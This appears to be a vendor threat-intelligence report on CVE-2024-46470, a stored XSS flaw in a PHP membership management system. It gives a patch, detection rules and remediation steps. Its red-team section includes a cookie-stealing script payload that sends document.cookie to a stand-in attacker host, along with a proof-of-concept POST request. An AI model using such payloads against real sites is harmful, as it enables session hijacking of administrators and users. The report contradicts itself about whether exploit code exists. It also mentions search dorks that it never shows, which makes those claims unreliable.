CVE-2024-46470
Executive Summary
CVE-2024-46470 is a Stored Cross-Site Scripting (XSS) vulnerability in CodeAstro Membership Management System 1.0. An attacker can inject arbitrary JavaScript into the membership_type parameter of the edit-type.php component. This stored payload executes in the browser of any administrator or user who views the affected page, enabling session hijacking, credential theft, or defacement. The vulnerability is unpatched and has a low EPSS score (0.0%), but the attack surface is trivial to exploit. No public exploit code or Nuclei template exists at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application (not an NPM, PyPI, Go, or Ruby package). No supply chain risks are associated with package managers; however, the application may rely on outdated PHP libraries or jQuery versions that could introduce additional attack vectors.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit the edit-type.php page)
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium – Exploitation requires user interaction, but the stored nature of the XSS increases persistence risk.
Deep Dive & Mechanics
The vulnerability resides in edit-type.php. The membership_type POST parameter is directly echoed into the HTML response without sanitization or encoding. An attacker with access to the membership type editing functionality (typically an admin) can inject a payload such as:
<script>alert('XSS')</script>
When the page is rendered, the script executes in the context of the victim’s session. Because the input is stored in the database (likely via a prior add-type.php or similar), the XSS is stored and affects all users who view the edit page.
Root Cause: Lack of output encoding and input validation on the membership_type field.
Vulnerable vs. Patched Code
Vulnerable Code (edit-type.php):
<?php
$membership_type = $_POST['membership_type'];
echo "<input type='text' name='membership_type' value='$membership_type'>";
?>
Patched Code (recommended):
<?php
$membership_type = htmlspecialchars($_POST['membership_type'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='membership_type' value='$membership_type'>";
?>
The patch uses htmlspecialchars() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Deploy CodeAstro Membership Management System 1.0 on a local server (e.g., XAMPP).
- Craft Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Inject:
- Navigate to
edit-type.php(requires admin login). - In the
membership_typefield, paste the payload. - Submit the form.
- Navigate to
- Trigger: Any user (including other admins) who visits
edit-type.phpwill execute the script, sending their session cookie to the attacker.
Proof-of-Concept (PoC) – Manual HTTP Request:
POST /edit-type.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
membership_type=<script>alert(document.cookie)</script>&submit=Save
Blue Team (Detection & Hardening)
- Input Validation: Reject any input containing
<script>,onerror=, or other HTML event handlers. - Output Encoding: Use
htmlspecialchars()on all user-controlled data before rendering. - Content Security Policy (CSP): Add a strict CSP header to block inline scripts.
- Web Application Firewall (WAF): Deploy rules to block XSS patterns in POST parameters.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar. - POST requests to
edit-type.phpwithmembership_typecontaining<script>tags.
- Outbound HTTP requests to attacker-controlled domains containing
- Host:
- Log entries in
access.logshowingedit-type.phpwithmembership_type=<script>.... - Database entries in the
membership_typestable containing HTML/JavaScript.
- Log entries in
- File:
- Modified
edit-type.phpif attacker has file write access (unlikely for this CVE).
- Modified
Detection Engineering
YARA Rule
rule CVE_2024_46470_XSS {
meta:
description = "Detects XSS payload in membership_type parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-46470"
strings:
$xss_payload = /membership_type=.*<script[^>]*>.*<\/script>/i
$xss_event = /membership_type=.*on\w+\s*=/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-46470 Stored XSS in CodeAstro Membership Management
id: 8a3f2c1e-5b7d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects XSS attempts targeting edit-type.php membership_type parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/edit-type.php'
cs-uri-query|contains: 'membership_type='
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in membership type names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-46470 Stored XSS in CodeAstro Membership Management"; flow:to_server,established; content:"POST"; http_method; content:"/edit-type.php"; http_uri; content:"membership_type="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply the patch shown in the Vulnerable vs. Patched Code section to
edit-type.php. - Sanitize all inputs using
filter_var()or a dedicated HTML purifier library. - Implement CSP headers to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' - Restrict access to
edit-type.phpvia IP whitelisting or additional authentication.
Long-Term:
- Replace the application with a maintained alternative.
- Conduct a full security audit of the CodeAstro Membership Management System.
- Monitor for any new CVEs or patches from the vendor.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.